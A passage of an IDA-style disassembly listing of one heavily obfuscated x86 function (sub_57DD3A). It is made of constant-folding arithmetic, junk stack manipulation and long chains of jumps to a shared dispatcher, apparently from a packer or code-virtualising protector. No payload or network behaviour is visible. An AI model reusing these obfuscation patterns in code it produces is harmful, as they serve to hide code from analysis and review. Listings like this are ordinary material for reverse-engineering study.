loc_5927EE: ; CODE XREF: sub_57DD3A+1FD3Dj mov edi, esp jmp loc_59826E ; --------------------------------------------------------------------------- loc_5927F5: ; CODE XREF: sub_57DD3A+11E64j push edx mov edx, 1C670FE1h sub edx, 0FFFFFFFFh sub edx, 7CA22130h push ebx mov ebx, 3443797h inc ebx or ebx, 624A0FDFh jmp loc_59216F ; --------------------------------------------------------------------------- loc_592816: ; CODE XREF: sub_57DD3A+1CC68j xor ch, ah jmp loc_590175 ; --------------------------------------------------------------------------- loc_59281D: ; CODE XREF: sub_57DD3A+13122j and ebx, esi jmp loc_593521 ; --------------------------------------------------------------------------- loc_592824: ; CODE XREF: sub_57DD3A+15113j mov esp, [esp+60h+var_60] mov [esp+60h+var_60], ebx mov ebx, esp add ebx, 4 push esi push 974h jmp loc_59585E ; --------------------------------------------------------------------------- loc_59283D: ; CODE XREF: sub_57DD3A+12B8Dj sub ebp, esi push ecx mov ecx, 3ACE3987h not ecx shr ecx, 4 add ecx, 3720339h add ebp, ecx jmp loc_58FB7F ; --------------------------------------------------------------------------- loc_592857: ; CODE XREF: sub_57DD3A+1155Fj pop [esp+8+var_8] pop esp bt [esp+0], ax pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_592866: ; CODE XREF: sub_57DD3A+1F6E3j add edi, esi jmp loc_590C03 ; --------------------------------------------------------------------------- loc_59286D: ; CODE XREF: sub_57DD3A+1F278j mov [esp+4+var_4], edi push 4 pop edi jmp loc_5A0B82 ; --------------------------------------------------------------------------- loc_59287B: ; CODE XREF: sub_57DD3A+1CC51j mov ecx, [esp+4+var_4] add esp, 4 sub esp, 4 jmp loc_5A2A94 ; --------------------------------------------------------------------------- loc_59288C: ; CODE XREF: sub_57DD3A+18B9Dj sub ebp, 8E332ACh xor ebp, 0E9065A95h jmp loc_59D37C ; --------------------------------------------------------------------------- loc_59289D: ; CODE XREF: sub_57DD3A+120ECj xor edi, 0AE27350h xor eax, edi push [esp+2Eh+var_2E] pop edi push 2F1Dh mov [esp+32h+var_32], edi mov edi, esp push 321Ah mov [esp+36h+var_36], ebp mov ebp, 6C7F542Ch inc ebp sub ebp, 15271C93h inc ebp neg ebp neg ebp sub ebp, 57583797h jmp loc_59D65E ; --------------------------------------------------------------------------- loc_5928D7: ; CODE XREF: sub_57DD3A+1289Cj push 5CBBh mov [esp+22h+var_22], edx push esp mov edx, [esp+26h+var_26] add esp, 4 push edi jmp loc_5904A3 ; --------------------------------------------------------------------------- loc_5928EC: ; CODE XREF: sub_57DD3A+1C02Fj xor edi, 345803AAh jmp loc_591270 ; --------------------------------------------------------------------------- loc_5928F7: ; CODE XREF: sub_57DD3A+1D24Cj pop ecx xchg edi, [esp+22h+var_22] jmp loc_59613F ; --------------------------------------------------------------------------- loc_592900: ; CODE XREF: sub_57DD3A+236F7j push [esp+22h+var_22] pop ebx add esp, 4 xor edx, [esp+1Eh+var_1E] jmp loc_590398 ; --------------------------------------------------------------------------- loc_592912: ; CODE XREF: sub_57DD3A+1E109j mov ebx, [esp+1Eh+var_1E] add esp, 4 push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+1Eh+var_1E] pop esp add [esp+1Ah+var_16], ebx jmp loc_5A220A ; --------------------------------------------------------------------------- loc_592931: ; CODE XREF: sub_57DD3A+157F3j xor eax, 486A182Dh sub ebx, eax pop eax add ecx, ebx pop ebx jmp loc_58FE02 ; --------------------------------------------------------------------------- loc_592941: ; CODE XREF: sub_57DD3A+22A54j add esp, 4 jmp loc_5956BD ; --------------------------------------------------------------------------- loc_59294C: ; CODE XREF: sub_57DD3A+21F7Cj add edx, 0E201625Ch add eax, edx mov edx, [esp+0Eh+var_E] add esp, 4 push 6938h mov [esp+0Eh+var_E], edi sub esp, 4 mov [esp+12h+var_12], ecx push 387F5D9Bh mov ecx, [esp+16h+var_16] add esp, 4 dec ecx push edi mov edi, esp jmp loc_592A3D ; --------------------------------------------------------------------------- loc_59297C: ; CODE XREF: sub_57DD3A+20BEDj add esp, 4 sub ebx, 4 xchg ebx, [esp+12h+var_12] jmp loc_59D8A4 ; --------------------------------------------------------------------------- loc_59298A: ; CODE XREF: sub_57DD3A+157BBj push esi mov esi, 0F901710h jmp loc_592337 ; --------------------------------------------------------------------------- loc_592995: ; CODE XREF: sub_57DD3A+22DD2j pop ecx add esp, 4 push di push ebp sub esp, 4 mov [esp+18h+var_1A+2], ebx push small 6FEDh jmp loc_59AA7D ; --------------------------------------------------------------------------- loc_5929AB: ; CODE XREF: sub_57DD3A+21DEEj mov esi, [esp+1Ah+var_1A] add esp, 4 xor eax, 3BC5609Bh push edx mov edx, 3FF3507Fh sub eax, edx mov edx, [esp+1Ah+var_1A] add esp, 4 add eax, 23D2377Eh add eax, edi jmp loc_59E94F ; --------------------------------------------------------------------------- loc_5929D0: ; CODE XREF: sub_57DD3A+24891j shr cl, 2 jmp loc_58ED21 ; --------------------------------------------------------------------------- loc_5929D8: ; CODE XREF: sub_57DD3A+23BACj push esp jmp loc_5A2012 ; --------------------------------------------------------------------------- loc_5929DE: ; CODE XREF: sub_57DD3A+1EF0Cj mov esi, [esp+1Ah+var_1A] add esp, 4 jmp loc_592346 ; --------------------------------------------------------------------------- loc_5929E9: ; CODE XREF: sub_57DD3A+18616j mov [esp+16h+var_16], eax jmp loc_59F034 ; --------------------------------------------------------------------------- loc_5929F1: ; CODE XREF: sub_57DD3A+18E40j sub edi, 546A1E65h jmp loc_598D91 ; --------------------------------------------------------------------------- loc_5929FC: ; CODE XREF: sub_57DD3A+14E35j pop esp push edx mov edx, esp add edx, 4 jmp loc_59D819 ; --------------------------------------------------------------------------- loc_592A0B: ; CODE XREF: sub_57DD3A+1D796j not [esp+16h+var_16] pop edx add edx, 0E91AD2CCh mov ebp, edx mov edx, [esp+12h+var_12] sub esp, 4 mov [esp+16h+var_16], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+16h+var_16] pop esp add ebp, 9B839F73h sub eax, ebp pop ebp jmp loc_5A2269 ; --------------------------------------------------------------------------- loc_592A3D: ; CODE XREF: sub_57DD3A+14C3Dj add edi, 4 push ebx mov ebx, 4 jmp loc_5971F4 ; --------------------------------------------------------------------------- loc_592A4E: ; CODE XREF: sub_57DD3A+10BF5j mov ebp, 22B115CCh jmp loc_59BD5F ; --------------------------------------------------------------------------- loc_592A58: ; CODE XREF: sub_57DD3A+1C1AFj add ecx, 117F3E5Ah sub ecx, 0E93159FEh sub eax, ecx pop ecx add eax, edi push edi mov edi, 5CCE5DAFh jmp loc_5946FB ; --------------------------------------------------------------------------- loc_592A74: ; CODE XREF: sub_57DD3A+1BECDj add esp, 4 sub ebp, 62584D54h add ebp, edx jmp loc_59B298 ; --------------------------------------------------------------------------- loc_592A84: ; CODE XREF: sub_57DD3A+1D44Fj xchg ebx, [esp+2+var_4+2] pop esp mov [esp+0], ecx mov ecx, 36EB0C51h push ebp jmp loc_59CD4C ; --------------------------------------------------------------------------- word_592A96 dw 2489h ; CODE XREF: sub_57DD3A+214E5j ; --------------------------------------------------------------------------- and al, 83h add al, 24h add al, 8Fh add al, 24h add [esp+2+var_4+2], 4 push [esp+2+var_4+2] mov eax, [esp+6+var_8+2] push eax jmp loc_5945E8 ; --------------------------------------------------------------------------- loc_592AB0: ; CODE XREF: sub_57DD3A+1F79Dj mov ch, 0A1h mov dh, ch pop ecx push eax mov ah, dh push edx mov dl, ah mov cl, dl pop edx mov eax, [esp+0] add esp, 4 jmp loc_597F4A ; --------------------------------------------------------------------------- loc_592ACC: ; CODE XREF: sub_57DD3A+21219j add esp, 4 shl esi, 7 jmp loc_59F827 ; --------------------------------------------------------------------------- loc_592AD7: ; CODE XREF: sub_57DD3A+20EDBj sub esp, 4 jmp loc_597AB4 ; --------------------------------------------------------------------------- loc_592ADF: ; CODE XREF: sub_57DD3A+19148j xor [esp+6+var_8+2], 79A454BFh pop dword ptr [edi+20h] push eax mov eax, 20h jmp loc_59D372 ; --------------------------------------------------------------------------- loc_592AF4: ; CODE XREF: sub_57DD3A+1DB3Aj pop [esp+6+var_8+2] pop esp mov [esp+0], ebx push [esp-2+arg_0+2] push [esp+2+var_4+2] jmp loc_59D20C ; --------------------------------------------------------------------------- loc_592B07: ; CODE XREF: sub_57DD3A+1B373j add ebp, 3AD35AC6h sub ebp, 40D82337h sub ebp, ecx add ebp, 40D82337h jmp loc_595943 ; --------------------------------------------------------------------------- loc_592B20: ; CODE XREF: sub_57DD3A+18843j pop ecx add esp, 4 add ecx, 4 jmp loc_59A3F5 ; --------------------------------------------------------------------------- loc_592B2F: ; CODE XREF: sub_57DD3A+1D369j neg edi jmp loc_59DC27 ; --------------------------------------------------------------------------- loc_592B36: ; CODE XREF: sub_57DD3A+16FA5j pop edi push ebx jmp loc_596146 ; --------------------------------------------------------------------------- loc_592B3D: ; CODE XREF: sub_57DD3A+1D819j push eax pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_592B44: ; CODE XREF: sub_57DD3A+1AF00j or edx, 1126E2Dh or edx, 32CB56A6h shr edx, 5 add edx, 0CBA1689Eh xor ecx, edx pop edx sub ebp, ecx jmp loc_59ADC5 ; --------------------------------------------------------------------------- loc_592B63: ; CODE XREF: sub_57DD3A+1EA54j push esi mov esi, 4 add edx, esi pop esi xchg edx, [esp+2+var_4+2] jmp loc_5929FC ; --------------------------------------------------------------------------- loc_592B74: ; CODE XREF: sub_57DD3A+175D1j mov ebx, 33A62AEBh push ebp mov ebp, 395D5E4Dh not ebp not ebp not ebp sub ebp, 0A18527A8h jmp loc_59AE73 ; --------------------------------------------------------------------------- loc_592B90: ; CODE XREF: sub_57DD3A+134B2j neg edi shl edi, 6 sub esp, 4 mov [esp+50h+var_50], eax mov eax, 248637F3h push eax not [esp+54h+var_54] pop eax jmp loc_58F7F1 ; --------------------------------------------------------------------------- loc_592BAD: ; CODE XREF: sub_57DD3A+21EF1j add eax, 0E8FBE75Ah xor ebp, eax pop eax shr ebp, 7 sub ebp, 2ABD7E76h sub ebp, 445A0BDCh sub ebp, 9297F60Fh add eax, ebp pop ebp xchg eax, [esp+0] pop esp add esp, 4 jmp loc_59636E ; --------------------------------------------------------------------------- loc_592BD9: ; CODE XREF: sub_57DD3A+21866j or edx, ebp pop ebp push eax jmp loc_599E9E ; --------------------------------------------------------------------------- loc_592BE2: ; CODE XREF: sub_57DD3A+14308j sub edi, ebx push edx mov edx, 6AB92BF2h jmp loc_59D2E3 ; --------------------------------------------------------------------------- loc_592BEF: ; CODE XREF: sub_57DD3A+2500Dj pop ecx mov edx, ebp pop ebp push 6CE2h jmp loc_59C88F ; --------------------------------------------------------------------------- loc_592BFD: ; CODE XREF: sub_57DD3A+1C0ABj xchg eax, [esp+1Ah+var_1A] jmp loc_5973BB ; --------------------------------------------------------------------------- loc_592C05: ; CODE XREF: sub_57DD3A+212E8j push ebp push [esp+1Eh+var_1A] pop ebp jmp loc_59B0E4 ; --------------------------------------------------------------------------- loc_592C10: ; CODE XREF: sub_57DD3A+21264j add esp, 4 add ebx, 4 add ebx, 4 push ebx jmp loc_5A1DA5 ; --------------------------------------------------------------------------- loc_592C25: ; CODE XREF: sub_57DD3A+22AB4j mov edx, 2F423900h jmp loc_590825 ; --------------------------------------------------------------------------- sub esp, 4 jmp loc_5950C1 ; --------------------------------------------------------------------------- loc_592C3A: ; CODE XREF: sub_57DD3A+12419j push ecx push esp pop ecx jmp loc_59365E ; --------------------------------------------------------------------------- loc_592C42: ; CODE XREF: sub_57DD3A+218CDj push 5AB2h mov [esp+66h+var_68+2], edx mov edx, 17E838B6h add edx, 47354ECBh sub edx, 0FEBE148Bh xor ebx, edx pop edx push esi mov esi, 53A756Ah jmp loc_590DD1 ; --------------------------------------------------------------------------- loc_592C69: ; CODE XREF: sub_57DD3A+1AEEEj mov esp, [esp+66h+var_68+2] jmp loc_595960 ; --------------------------------------------------------------------------- loc_592C71: ; CODE XREF: sub_57DD3A+224F6j push 62C6h mov [esp+6Ah+var_6C+2], edx push 3C87h mov [esp+6Eh+var_70+2], ecx push ebx jmp loc_5936F4 ; --------------------------------------------------------------------------- loc_592C87: ; CODE XREF: sub_57DD3A+1D363j push edi jmp loc_58EBB6 ; --------------------------------------------------------------------------- loc_592C8D: ; CODE XREF: sub_57DD3A+177ACj sub esp, 4 jmp loc_5A0C40 ; --------------------------------------------------------------------------- loc_592C95: ; CODE XREF: sub_57DD3A+16A18j push 7941h mov [esp+7Eh+var_80+2], ebx add [esp+7Eh+var_80+2], 22E31E58h pop esi sub esi, 22E31E58h push esi xor [esp+7Eh+var_80+2], 299C2CB2h pop ebp xor ebp, 299C2CB2h pop esi mov ebx, [esp+76h+var_78+2] push edi mov edi, esp add edi, 4 jmp loc_5A0E24 ; --------------------------------------------------------------------------- loc_592CCC: ; CODE XREF: sub_57DD3A+139B5j sub edi, 0C86546Ah add edi, eax jmp loc_59ADCB ; --------------------------------------------------------------------------- loc_592CD9: ; CODE XREF: sub_57DD3A+25534j add ebx, eax mov eax, [esp+60h+var_60] jmp loc_5A2956 ; --------------------------------------------------------------------------- loc_592CE3: ; CODE XREF: sub_57DD3A+17642j xor ebp, 2C063A6Fh sub ebp, 1693314Eh add eax, 728A51F3h add eax, ebp sub eax, 728A51F3h pop ebp pop edx push esi jmp loc_598F4C ; --------------------------------------------------------------------------- loc_592D03: ; CODE XREF: sub_57DD3A+16D06j push eax mov eax, 412E5576h jmp loc_59FE42 ; --------------------------------------------------------------------------- loc_592D0E: ; CODE XREF: sub_57DD3A+10D94j mov ebp, esp add ebp, 4 jmp loc_5956CA ; --------------------------------------------------------------------------- loc_592D1B: ; CODE XREF: sub_57DD3A+1E888j push 35F1h mov [esp+20h+var_22+2], eax mov eax, esp jmp loc_59D53B ; --------------------------------------------------------------------------- loc_592D2A: ; CODE XREF: sub_57DD3A+20553j shr edi, 5 xor edi, 1B3AECEh push esi mov esi, esp push edx mov edx, 4FE9393Eh jmp loc_59B41F ; --------------------------------------------------------------------------- loc_592D41: ; CODE XREF: sub_57DD3A+2313Bj mov eax, esp add eax, 4 jmp loc_5969FB ; --------------------------------------------------------------------------- loc_592D4D: ; CODE XREF: sub_57DD3A+14186j push ecx push edx jmp loc_59F408 ; --------------------------------------------------------------------------- loc_592D54: ; CODE XREF: sub_57DD3A+21B24j push ebx push eax mov al, cl push ecx mov ch, al push eax mov ah, ch mov bh, ah jmp loc_595847 ; --------------------------------------------------------------------------- loc_592D65: ; CODE XREF: sub_57DD3A+18D61j xor ebx, esi pop esi sub ebx, 39963E38h mov edx, ebx pop ebx add esi, 6AD75188h add esi, edx jmp loc_58FF4F ; --------------------------------------------------------------------------- loc_592D7E: ; CODE XREF: sub_57DD3A+1BF2Cj push eax mov eax, 13A05075h jmp loc_59337D ; --------------------------------------------------------------------------- loc_592D89: ; CODE XREF: sub_57DD3A+1FD52j pop ebp jmp loc_598BF0 ; --------------------------------------------------------------------------- loc_592D8F: ; CODE XREF: sub_57DD3A+10E62j mov esi, edi pop edi jmp loc_592156 ; --------------------------------------------------------------------------- loc_592D97: ; CODE XREF: sub_57DD3A+238F9j xor ebp, [esp+1Ch+var_1E+2] pop esp mov [esp+18h+var_1A+2], edx push eax pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_592DA5: ; CODE XREF: sub_57DD3A+15B69j mov bh, dl pop dx push eax mov al, 0A0h mov dl, 0FBh xor dl, al pop eax add dl, 0BBh sub dl, bh sub dl, 0BBh pop ebx neg dl push ecx mov ch, 0E9h dec ch jmp loc_59E0A5 ; --------------------------------------------------------------------------- loc_592DC6: ; CODE XREF: sub_57DD3A+170C6j mov edi, 5747632h or edi, 68BF2717h not edi or edi, 713D256Ah jmp loc_59ED6B ; --------------------------------------------------------------------------- loc_592DDE: ; CODE XREF: sub_57DD3A+15C79j sub eax, 9A01F56h add ecx, eax jmp loc_5A29EF ; --------------------------------------------------------------------------- loc_592DEA: ; CODE XREF: sub_57DD3A+18879j push ebx mov ebx, 2 jmp loc_591965 ; --------------------------------------------------------------------------- loc_592DF5: ; CODE XREF: sub_57DD3A+18EE3j mov [esp+22h+var_22], eax jmp loc_58E353 ; --------------------------------------------------------------------------- loc_592DFD: ; CODE XREF: sub_57DD3A+1D8D6j mov [esp+22h+var_22], ebx mov ebx, 42C0369Ah and esi, ebx pop ebx push ebp push eax mov eax, 32013970h push ebp jmp loc_599C6B ; --------------------------------------------------------------------------- loc_592E15: ; CODE XREF: sub_57DD3A+1C208j add ecx, 179F0283h push esi jmp loc_5986A8 ; --------------------------------------------------------------------------- loc_592E21: ; CODE XREF: sub_57DD3A+1382Dj sub eax, 36A5316h sub eax, 7EE17BFEh jmp loc_59BFE7 ; --------------------------------------------------------------------------- loc_592E30: ; CODE XREF: sub_57DD3A+1E45Ej push ebp mov ebp, esp add ebp, 4 jmp loc_5A0096 ; --------------------------------------------------------------------------- loc_592E3E: ; CODE XREF: sub_57DD3A+24E00j add esi, 81B5BEBEh add ebp, esi pop esi sub ebp, 4 xchg ebp, [esp+14h+var_16+2] jmp loc_592824 ; --------------------------------------------------------------------------- loc_592E52: ; CODE XREF: sub_57DD3A+15DB5j pop ebp push edi push [esp+14h+var_12+2] mov edi, [esp+18h+var_1A+2] add esp, 4 pop [esp+14h+var_16+2] pop esp mov ax, word ptr [esp+0Ch+var_E+2] sub esp, 4 mov [esp+10h+var_12+2], edx sub esp, 4 mov [esp+14h+var_16+2], esp jmp loc_59F6F9 ; --------------------------------------------------------------------------- loc_592E7A: ; CODE XREF: sub_57DD3A+10726j sub ebx, 1880578Ah sub ebx, 4E110177h sub ebx, 43BE6B54h add ebx, edx add ebx, 43BE6B54h add ebx, 4E110177h add ebx, 1880578Ah jmp loc_59CEFA ; --------------------------------------------------------------------------- loc_592EA5: ; CODE XREF: sub_57DD3A+1747Cj add eax, 14AF27A6h sub eax, edi push ecx mov ecx, 3524749Bh neg ecx jmp loc_59494E ; --------------------------------------------------------------------------- loc_592EB9: ; CODE XREF: sub_57DD3A+144D6j push 4731h mov [esp+4Ah+var_4C+2], esi jmp loc_58F6FE ; --------------------------------------------------------------------------- loc_592EC6: ; CODE XREF: sub_57DD3A+15353j add eax, 4 add eax, 4 jmp loc_5A026D ; --------------------------------------------------------------------------- loc_592ED5: ; CODE XREF: sub_57DD3A+16601j xchg ebp, edx jmp loc_5903AC ; --------------------------------------------------------------------------- loc_592EDC: ; CODE XREF: sub_57DD3A+18482j sub esp, 4 mov [esp+4Eh+var_50+2], ecx mov ecx, esp add ecx, 4 jmp loc_5962BA ; --------------------------------------------------------------------------- loc_592EF2: ; CODE XREF: sub_57DD3A+2136Bj mov ebp, 608E0733h not ebp jmp loc_594210 ; --------------------------------------------------------------------------- loc_592EFE: ; CODE XREF: sub_57DD3A+2407Aj mov [esp+4Eh+var_50+2], esi jmp loc_59976F ; --------------------------------------------------------------------------- loc_592F06: ; CODE XREF: sub_57DD3A+1D43Ej mov eax, 4 sub ebp, eax pop eax xchg ebp, [esp+4Ah+var_4C+2] jmp loc_5959B1 ; --------------------------------------------------------------------------- loc_592F16: ; CODE XREF: sub_57DD3A+21D8Cj pop edi jmp loc_590E84 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+46h+var_46] push ebx mov ebx, esp push edx mov edx, esp add edx, 4 sub edx, 4 push edx push [esp+52h+var_50+2] jmp loc_597C1F ; --------------------------------------------------------------------------- loc_592F3C: ; CODE XREF: sub_57DD3A+140BCj add ecx, 7511797Ch add ecx, edi sub ecx, 7511797Ch pop edi xor ecx, [esp+6Ch+var_6C] xor [esp+6Ch+var_6C], ecx xor ecx, [esp+6Ch+var_6C] mov esp, [esp+6Ch+var_6C] movzx ax, byte ptr [eax] push small 3EABh jmp loc_5A2660 ; --------------------------------------------------------------------------- loc_592F64: ; CODE XREF: sub_57DD3A+15CCEj pop esp mov [esp+6Ah+var_6C+2], esi sub esp, 4 mov [esp+6Eh+var_70+2], esp add [esp+6Eh+var_70+2], 4 mov esi, [esp+6Eh+var_70+2] add esp, 4 add esi, 4 push 84Dh mov [esp+6Eh+var_70+2], eax push ebx jmp loc_594B2F ; --------------------------------------------------------------------------- loc_592F8C: ; CODE XREF: sub_57DD3A+12028j mov eax, 4 add [esp+3Ah+var_36], eax mov eax, [esp+3Ah+var_3A] add esp, 4 pop ebx push 411Ah mov [esp+36h+var_36], ebp jmp loc_593D54 ; --------------------------------------------------------------------------- loc_592FAC: ; CODE XREF: sub_57DD3A+126C1j mov edi, 4 push ebp mov ebp, 5D9C11CEh shr ebp, 5 jmp loc_591C94 ; --------------------------------------------------------------------------- loc_592FBF: ; CODE XREF: sub_57DD3A+11E58j mov ebp, 1B181910h sub ebp, 0FFFFFFFFh sub ebp, 7D7902FBh not ebp shr ebp, 6 xor ebp, 18983A5h push ebp xor [esp+46h+var_46], 22B919F3h pop edi push ebx mov ebx, 23E15576h xor ebx, 5A9D34F4h jmp loc_59915B ; --------------------------------------------------------------------------- loc_592FF5: ; CODE XREF: sub_57DD3A+1B0E1j mov edi, 49085CAEh jmp loc_595FCB ; --------------------------------------------------------------------------- loc_592FFF: ; CODE XREF: sub_57DD3A+216D4j xor edx, 1FC406C4h sub edx, 292372Dh mov ecx, edx pop edx sub edi, 6C810210h sub edi, ecx add edi, 6C810210h pop ecx xchg edi, [esp+3Eh+var_3E] pop esp jmp loc_58FA76 ; --------------------------------------------------------------------------- loc_593026: ; CODE XREF: sub_57DD3A+15AD8j pop esi shl edx, 7 push ebp jmp loc_59F815 ; --------------------------------------------------------------------------- loc_593030: ; CODE XREF: sub_57DD3A+1AB8Dj mov edi, [esp+3Ah+var_3A] push ecx push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp+3Eh+var_3E] pop esp push edi mov edi, 0C84BF0h jmp loc_5A1260 ; --------------------------------------------------------------------------- loc_59304E: ; CODE XREF: sub_57DD3A+16C0Fj add esi, edx pop edx pop ebp push esi push [esp+3Ah+var_36] pop esi pop [esp+3Ah+var_3A] pop esp push 1478h mov [esp+36h+var_36], ebx push esi mov esi, 35F57431h jmp loc_599926 ; --------------------------------------------------------------------------- loc_59306F: ; CODE XREF: sub_57DD3A+222B7j add esp, 4 push 3EA4h mov [esp+3Ah+var_3A], ecx mov ch, 0AFh jmp loc_597F1E ; --------------------------------------------------------------------------- loc_593081: ; CODE XREF: sub_57DD3A+16333j add esp, 4 mov edx, [esp+36h+var_36] push eax mov eax, esp jmp loc_592EC6 ; --------------------------------------------------------------------------- loc_593092: ; CODE XREF: sub_57DD3A+22537j push [esp+3Ah+var_3A] pop eax add esp, 4 loc_59309C: ; CODE XREF: sub_57DD3A+2525Ej push eax jmp loc_594AFB ; --------------------------------------------------------------------------- loc_5930A2: ; CODE XREF: sub_57DD3A+14334j pop ebp add eax, edx pop edx mov edi, [esp+40h+var_42+2] add esp, 4 sub eax, 51C53CC7h sub eax, esi add eax, 51C53CC7h sub eax, 55EB23D3h pop esi jmp loc_59CB85 ; --------------------------------------------------------------------------- loc_5930C6: ; CODE XREF: sub_57DD3A+17301j add esp, 4 add ebp, 4 add ebp, 4 xchg ebp, [esp+34h+var_36+2] mov esp, [esp+34h+var_36+2] push ebp mov ebp, esp jmp loc_5A0DC3 ; --------------------------------------------------------------------------- loc_5930E0: ; CODE XREF: sub_57DD3A+23780j push edx sub esp, 4 mov [esp+40h+var_42+2], ebp mov ebp, 2F9B3C2Ch add ebp, 5335417Ch jmp loc_59C724 ; --------------------------------------------------------------------------- loc_5930FA: ; CODE XREF: sub_57DD3A+1081Dj mov ch, 0B1h jmp loc_59134C ; --------------------------------------------------------------------------- loc_593101: ; CODE XREF: sub_57DD3A+149DFj pop ebp xor ebp, 4A4F18B0h sub esp, 4 mov [esp+4Ch+var_4C], ebp xor [esp+4Ch+var_4C], 0D944DB0h mov edi, [esp+4Ch+var_4C] add esp, 4 xor edi, 0D944DB0h mov ebp, [esp+0] add esp, 4 add ecx, 332A02AAh add ecx, edi jmp loc_59B366 ; --------------------------------------------------------------------------- loc_59313A: ; CODE XREF: sub_57DD3A+217B4j add al, cl pop ecx push [esp+40h+var_42+2] pop edx add esp, 4 push 3FEh mov [esp+40h+var_42+2], ecx jmp loc_5986C5 ; --------------------------------------------------------------------------- loc_593151: ; CODE XREF: sub_57DD3A+11CAAj sub edx, ecx sub edx, 37952DD3h push [esp+0Ch+var_E+2] pop ecx push 5A50h jmp loc_598CDC ; --------------------------------------------------------------------------- loc_593167: ; CODE XREF: sub_57DD3A+1D323j mov ebp, [esp+10h+var_12+2] add esp, 4 xor ecx, 14501000h mov esi, ecx pop ecx jmp loc_59C801 ; --------------------------------------------------------------------------- loc_59317B: ; CODE XREF: sub_57DD3A+20413j push esp pop [esp+0Ch+var_E+2] add [esp+8+var_8], 4 mov edi, [esp+8+var_8] add esp, 4 push 6112h jmp loc_59AA51 ; --------------------------------------------------------------------------- loc_593199: ; CODE XREF: sub_57DD3A+2324Aj xchg eax, [esp+8+var_8] pop esp or eax, eax jz loc_5A082C push 3336h mov [esp+8+var_8], ecx push edi push ebx mov ebx, 7E626B56h mov edi, ebx pop ebx push 7E626C54h pop ecx sub ecx, edi pop edi jmp loc_59CE90 ; --------------------------------------------------------------------------- loc_5931C5: ; CODE XREF: sub_57DD3A+177B4j xor ebp, 41886982h add esi, ebp mov ebp, [esp+8+var_8] add esp, 4 add ebx, esi pop esi jmp loc_58EDEA ; --------------------------------------------------------------------------- loc_5931DE: ; CODE XREF: sub_57DD3A+16DBCj mov edx, [esp+0] add esp, 4 neg bl dec bl push ecx mov ch, 0BDh xor bl, ch pop ecx and al, bl pop ebx push 5FABh mov [esp-4+arg_0], ebx push 6599h mov [esp+0], edi push edi jmp loc_5A1166 ; --------------------------------------------------------------------------- loc_59320A: ; CODE XREF: sub_57DD3A+2122Ej sub esi, 1E585713h add esi, ebx jmp loc_58F508 ; --------------------------------------------------------------------------- loc_593217: ; CODE XREF: sub_57DD3A+1C716j sub ebp, 10A7168h mov edi, [esp+4+var_4] add esp, 4 jmp loc_593FB1 ; --------------------------------------------------------------------------- loc_593228: ; CODE XREF: sub_57DD3A+138D5j xor edx, 1FA84A19h jmp loc_59BF60 ; --------------------------------------------------------------------------- loc_593233: ; CODE XREF: sub_57DD3A+10C9Dj add ebx, 4 xchg ebx, [esp+0] pop esp add ecx, 0AAF7A58h jmp loc_59D3F4 ; --------------------------------------------------------------------------- loc_593248: ; CODE XREF: sub_57DD3A+23968j mov [esp-4+arg_0], ebp push eax mov eax, 1D1B7D91h mov ebp, eax mov eax, [esp+0] add esp, 4 or esi, ebp mov ebp, [esp-4+arg_0] jmp loc_5A0292 ; --------------------------------------------------------------------------- loc_593263: ; CODE XREF: sub_57DD3A+20F80j xor dword ptr [edx], 6427D79h mov edx, [esp-4+arg_0] add esp, 4 mov ebx, [esp+0] push ecx mov ecx, esp add ecx, 4 jmp loc_59DF3D ; --------------------------------------------------------------------------- loc_593280: ; CODE XREF: sub_57DD3A+216C9j pop ebp and ecx, edi push dword ptr [esp+0] pop edi add esp, 4 jmp loc_597893 ; --------------------------------------------------------------------------- loc_593292: ; CODE XREF: sub_57DD3A+17DB3j add eax, 4 jmp loc_59ED5F ; --------------------------------------------------------------------------- loc_59329C: ; CODE XREF: sub_57DD3A+1B152j mov edi, esp push ebx mov ebx, 79DF3FE5h jmp loc_59C7D9 ; --------------------------------------------------------------------------- loc_5932A9: ; CODE XREF: sub_57DD3A+19319j sub esi, 21077A44h add esi, edi push edx mov edx, 1C3830CCh or edx, 0E1557CDh or edx, 70774A92h or edx, 393F6C4Fh xor edx, 5E78059Bh add esi, edx pop edx sub esi, 60074E50h pop edi push 4425h mov [esp], esi not dword ptr [esp] mov esi, [esp] jmp loc_59B313 ; --------------------------------------------------------------------------- loc_5932EC: ; CODE XREF: sub_57DD3A+121A6j add edx, 4 push eax push edx mov edx, 49586099h mov eax, 0C455A0CEh sub eax, 5F220874h sub eax, edx add eax, 5F220874h pop edx jmp loc_5A2DCA ; --------------------------------------------------------------------------- loc_593310: ; CODE XREF: sub_57DD3A+21A1Fj xor ebp, [esp+44h+var_46+2] pop esp dec [esp+40h+var_42+2] pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59331D: ; CODE XREF: sub_57DD3A+18827j sub [esp+44h+var_46+2], 655A3BECh pop ebx jmp loc_58FC33 ; --------------------------------------------------------------------------- loc_59332A: ; CODE XREF: sub_57DD3A+1A488j pop ebx push edi mov edi, 53886C8Fh add edi, 0FFFFFFFFh or edi, 2E227554h or edi, 5172D26h neg edi add edi, 2D6B5EECh add edi, 820B2337h sub eax, edi jmp loc_5988C6 ; --------------------------------------------------------------------------- loc_593355: ; CODE XREF: sub_57DD3A+114F3j sub bl, dh jmp loc_59B1E6 ; --------------------------------------------------------------------------- loc_59335C: ; CODE XREF: sub_57DD3A+146DFj add [esp+34h+var_32+2], 44630091h sub [esp+34h+var_32+2], ebp sub [esp+34h+var_32+2], 44630091h pop ebp sub [esp+30h+var_32+2], 3226732Eh jmp loc_58EA98 ; --------------------------------------------------------------------------- loc_59337D: ; CODE XREF: sub_57DD3A+1504Aj push edx mov edx, 4DE4575Ah jmp loc_59D301 ; --------------------------------------------------------------------------- loc_593388: ; CODE XREF: sub_57DD3A+20DBBj pop ebp mov edx, [esp+80h+var_80] push esi mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp+84h+var_84] jmp loc_59BE95 ; --------------------------------------------------------------------------- loc_5933A0: ; CODE XREF: sub_57DD3A+1C079j neg eax xor eax, 30ED6673h add eax, 502F4C14h add edi, eax mov eax, [esp+84h+var_84] add esp, 4 push esi mov esi, 34737A3Eh shr esi, 3 add esi, 0FC3A75EFh xor edi, esi jmp loc_597932 ; --------------------------------------------------------------------------- 